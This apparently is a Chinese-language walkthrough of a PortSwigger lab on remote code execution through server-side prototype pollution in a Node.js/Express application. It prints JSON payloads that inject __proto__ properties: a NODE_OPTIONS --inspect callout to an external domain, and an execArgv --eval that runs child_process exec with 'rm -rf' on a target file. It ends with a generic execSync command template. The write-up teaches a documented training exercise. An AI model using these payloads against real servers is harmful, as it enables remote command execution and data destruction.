从业者-服务端原型链污染-远程代码执行
# 实验室:通过服务端原型链污染实现远程执行代码
# 题目
此实验室基于 Node.js 和 Express 框架构建。它容易受到服务端原型链污染的影响,因为它不安全地将用户可控输入合并到服务端 JavaScript 对象中。
服务器的配置可能会污染Object.prototype
,随后你可以注入并在服务器上执行任意系统命令。
若要解决实验室问题,请
- 找到一个可以向全局
Object.prototype
添加任意属性的原型污染源。 - 确定一个可用于注入和执行任意系统命令的小工具。
- 触发远程命令执行,删除文件
/home/carlos/morale.txt
。
在本次实验中,你已经获得了权限提升,使你能够访问管理功能。你可以使用以下凭据登录到自己的帐户:wiener
:peter
提示
当管理员用户触发站点上的易受攻击功能时,才会调用命令执行接收器。
笔记
在测试服务端原型链污染时,很可能会破坏应用程序功能,甚至完全关停服务器。如果发生这种情况,你可以使用实验室横幅中提供的按钮,来手动重启服务器。请记住,在测试真实网站时,你不太可能有此选项,因此你应该始终谨慎行事。
- name: 实验室-从业者
desc: 通过服务端原型链污染实现远程执行代码 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
# 确认污染源
# 识别易受攻击的请求
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"gmkvJun6kJNn20mz7plym7CnHWV41eaT",
"__proto__":{
"shell":"node",
"NODE_OPTIONS":"--inspect=<外部域>"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 导入子进程exec包,并执行系统命令
var exec = require('child_process').exec;
exec('rm -rf /home/carlos/morale.txt')
1
2
2
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"gmkvJun6kJNn20mz7plym7CnHWV41eaT",
"__proto__":{
"execArgv": [
"--eval=var exec = require('child_process').exec; exec('rm -rf /home/carlos/morale.txt')"
]
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
# 答案的思路
--eval=require('child_process').execSync('<系统命令>')
1
编辑 (opens new window)